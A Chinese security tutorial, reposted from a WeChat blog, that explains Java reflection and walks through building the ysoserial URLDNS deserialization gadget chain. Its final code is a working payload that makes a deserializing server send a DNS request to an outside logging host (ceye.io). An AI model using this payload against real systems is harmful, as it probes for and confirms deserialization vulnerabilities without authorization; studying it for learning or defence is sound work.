打算学习cc链的知识,一边记笔记,一边分析出来,大家可以一起学习。
我参考的视频是 B站的 白日梦组长
在安全中,java反射起到很大的作用。
让java具有动态性
修改已有对象的属性
动态生成对象
动态调用方法
操作内部类和私有方法
在反序列化中
定制需要的对象
通过invoke调用除了同名函数以外的函数
通过class类创建对象,引入不能序列化的类
讲之前呢,先带大家过一遍反射的知识点,有助于理解。
內存:即JVM内存,栈、堆、方法区啥的都是JVM内存
class文件:就是所谓的字节码文件,这里直观些成为 .class 文件
java源代码执行后,会生成.class 文件 俗称字节码文件,会把里面的变量,方法之类的数据,加载到内存里,new对象 就开辟一个空间存储数据,子类调用父类构造器,构造器执行代码块,初始化语句啥的,大家自行百度 不会了
Student学生类
package file;
import java.util.Objects;
public class Student {
private String name;
private int age;
public String hitger;
public String weighter;
public String a;
protected String b;
String c;
private String d;
public Student(){}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Student(String name, int age) {
this.name = name;
this.age = age;
}
public void eat(){
System.out.println("猫 吃 🐟");
}
public void eat(String food){
System.out.println("猫 吃 🐟"+food);
}
public String toString() {
return "Student{" +
"name='" + name + ''' +
", age=" + age +
", hitger='" + hitger + ''' +
", weighter=" + weighter +
", a='" + a + ''' +
", b='" + b + ''' +
", c='" + c + ''' +
", d='" + d + ''' +
'}';
}
// 重写hashcode 和equals
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Student student = (Student) o;
return age == student.age && Objects.equals(name, student.name);
}
public int hashCode() {
return Objects.hash(name, age);
}
}
获取class对象三种方式
// 多用于配置文件 读取文件 加载类
Class.forName("包名.类名") 将字节码文件加载到内容,返回class对象
// 多用于参数的传递
类名.class 通过类型class 返回属性
// 多用于对象的获取字节码的方式
对象.getClass
import file.CopyFile;
import file.Student;
public class Demo1 {
public static void main(String[] args) throws Exception {
// class.forname
Class<?> cls = Class.forName("file.CopyFile");
System.out.println(cls);
// 类名.class
Class<CopyFile> cls1 = CopyFile.class;
System.out.println(cls1);
// 对象.getClass
Student s = new Student();
Class<? extends Student> cls2 = s.getClass();
System.out.println(cls2);
}
}
常用方法
获取成员变量们
getFields() 获取所有public修饰的成员变量
getField(String name) 获取指定名称的public修饰的成员变量
获取值 get()
修改值 set()
getDeclaredField(String name) 获取单个成员变量
setAccessible 暴力反射
getDeclaredFields() 获取所有的成员变量 不考虑修饰符
获取构造方法们
作用 创建对象 newInstance()
getConstructors()
getConstructor(类<?> type) 构造方法 单个
获取成员方法们
作用 执行方法 invoke()
获取方法名 getName()
getMethods()
getMethond(String name,类<?> type)
获取类名称
getName()
获取成员变量
import file.Student;
import java.lang.reflect.Field;
public class Demo2 {
public static void main(String[] args) throws Exception {
Student s = new Student();
// 获取class对象
Class<? extends Student> cls = s.getClass();
// 获取所有成员变量
Field[] fields = cls.getFields();
for (Field field : fields) {
System.out.println(field);
}
// 获取单个成员变量
Field w = cls.getField("weighter");
System.out.println(w);
// 获取成员变量的数值 修改
Object o = w.get(s);
System.out.println(o);
w.set(s,"李四");
System.out.println(s);
// 获取所有的成员变量
Field[] df = cls.getDeclaredFields();
for (Field f : df) {
System.out.println(f);
}
// 获取单个成员变量 获取值 修改值
Field dd = cls.getDeclaredField("d");
// 取消修饰符安全型考虑 俗称暴力反射
dd.setAccessible(true);
Object vaule = dd.get(s);
System.out.println(vaule);
dd.set(s,"谁tm买小米");
System.out.println(s);
}
}
获取构造方法
import file.Student;
import java.lang.reflect.Constructor;
public class Demo3 {
public static void main(String[] args) throws Exception{
Student s = new Student();
// 反射
Class cls = s.getClass();
// 获取单个构造方法
Constructor con = cls.getConstructor(String.class, int.class);
System.out.println(con);
// 创建对象
Object obj = con.newInstance("张三", 30);
System.out.println(obj);
}
}
获取成员方法
import file.Student;
import java.lang.reflect.Method;
public class Demo4 {
public static void main(String[] args) throws Exception{
Student s = new Student();
// 反射
Class<? extends Student> cls = s.getClass();
// 获取无参方法
Method cat_methond1 = cls.getMethod("eat");
// 执行方法
cat_methond1.invoke(s);
// 获取有参方法
Method eat_methnd2 = cls.getMethod("eat", String.class);
eat_methnd2.invoke(s,"和猫粮");
// 获取所有public修饰的方法
Method[] methods = cls.getMethods();
for (Method m : methods) {
// 遍历方法
System.out.println(m);
// 遍历方法名
System.out.println(m.getName());
}
// 获取类方法名
String name = cls.getName();
System.out.println(name);
}
}
涉及cc链 就会涉及到序列化相关知识,很早之前写了一篇,可以参考下
URLDNS链分析
先从最简单的链条开始分析,因为简单,难的我暂时也不会
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
调用链如下
简单来说,就是代码中,层层调用类。
什么意思:
比如 写一个工具类,每次都写重复的代码,很繁琐,把相同的逻辑代码 抽出来,单独写到一个文件里,如,HttpClinet.java
这里写了jdbc连接数据的流程,我下次在连接数据库,直接调用HttpClinet.connet
直接一两行就完成了。
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
github作者翻译:
作为反序列化的一部分,HashMap会对它调用的每个键调用hashCode
*反序列化,因此使用Java URL对象作为序列化键允许
*它会触发DNS查找。
在java中 有很多泛型(数据类型) hashMap
最常见 翻冰蝎,哥斯拉 这些源码时,也会经常看到这种泛型。
在java安全中, hashMap
+ 反序列化 + 反射 === 无敌
hashMap
最关键的就是它的泛型,可以是String,Integer,又或者Object,包括自己写的 Person
Student
类
那么 cc 链 是和 反序列化挂钩的,像shiro 反序列化,fastjson反序列化等等
创建了小demo 演示 反序列化的过程 代码写注释了 就不过多解释,早期发过一次java反序列化学习 可以看下
import java.io.Serializable;
// 创建person类 实现反序列化接口 不继承接口 就无法对数据序列化操作
public class Person implements Serializable {
private String name;
private int age;
public Person(){}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String toString() {
return "Persin{" +
"name='" + name + ''' +
", age=" + age +
'}';
}
}
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class SerializableTest {
// 创建序列化方法 创建一个bin文件 存储序列化后的数据
public static void serializable(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
// 创建person对象
Person person = new Person("张三", 23);
// 实现序列化方法
serializable(person);
}
}
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class UnSerializableTest {
// 创建反序列化方法 传参一个文件 读取文件内容 返回给 obj 对象
public static Object Unserializable(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
// 反序列化操作,类型强制类型转换
Person person = (Person) Unserializable("ser.bin");
System.out.println(person);
}
}
如果说,我在序列化步骤中,添加了命令执行的代码,就会产生rce漏洞。
回到上一步,接着讲urldns利用链
HashMap会对它调用的每个键调用hashCode
使用Java URL对象作为序列化键允许
ctrl + 左键
可以查看源代码
查看hashMap源码 他实现了序列化的接口 当我们存储数据 需要使用put方法
查看put 源代码 调用hash方法 点进去 key调用了hashCode方法
接着看URL 他也调用了hashCode 方法
在hashmap中 key也会调用hashcode方法 所以这就形成了一条调用链
HashMap -> implements Serializable 实现序列化接口
hashMap.put -> hash -> key.hashCode == url(key).hashCode
这样写不知道你们能不能理解,,,
就是说,创建一个HashMap泛型,在创建一个url连接,使用put方法把url数据存放到里面,这个hashmap 实现了序列化方法,那么它里面的数据都可以被序列化,使用put后,会把url当作一条数据,传给hash方法,它就去调用hashCode放,这个url就是一个key ,这个key 调用了hashCode,这个key原本就是URL 方法创建的,所以查看URL源代码 就明白为什么会有HashCode方法了。
代码实现下,看看dnslog会不会有数据
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;
public class SerializableTest {
public static void serializable(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
// Person person = new Person("张三", 23);
// 创建hashmap泛型
HashMap<URL,Integer> hashMap = new HashMap<>();
// 创建一个url资源
URL url = new URL("http://mvkn4u.ceye.io");
// 存放url数据
hashMap.put(url,1);
serializable(hashMap);
}
}
虽然成功了但是存在问题的,打个断点,我们看看
使用 put后存放数据 hashCode 就变成了-1 就会造成 我还没有序列化 就已经执行了请求dns的操作了。
为了修改这个问题,所以引入了反射机制。利用反射 把hashcode 改成其他值 让他在put这一步变成其他值。
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializableTest {
public static void serializable(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
// Person person = new Person("张三", 23);
// 创建hashmap泛型
HashMap<URL,Integer> hashMap = new HashMap<>();
// 创建一个url资源
URL url = new URL("http://mvkn4u.ceye.io");
// 获取url 字节码文件
Class c = url.getClass();
// hashCode 是私有变量 使用setAccessible强制修改
Field hashcodefied = c.getDeclaredField("hashCode");
hashcodefied.setAccessible(true);
hashcodefied.set(url,123);
hashMap.put(url,1);
hashcodefied.set(url,-1);
serializable(hashMap);
}
}
执行序列化后 没有收到dns请求,反序列化打断点后查看hashCode值
执行反序列化后 成功收到请求
今天的内容分享完毕,期待大佬们投稿~
原文始发于微信公众号(轩公子谈技术):Java无所不能的反射-URLDNS链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论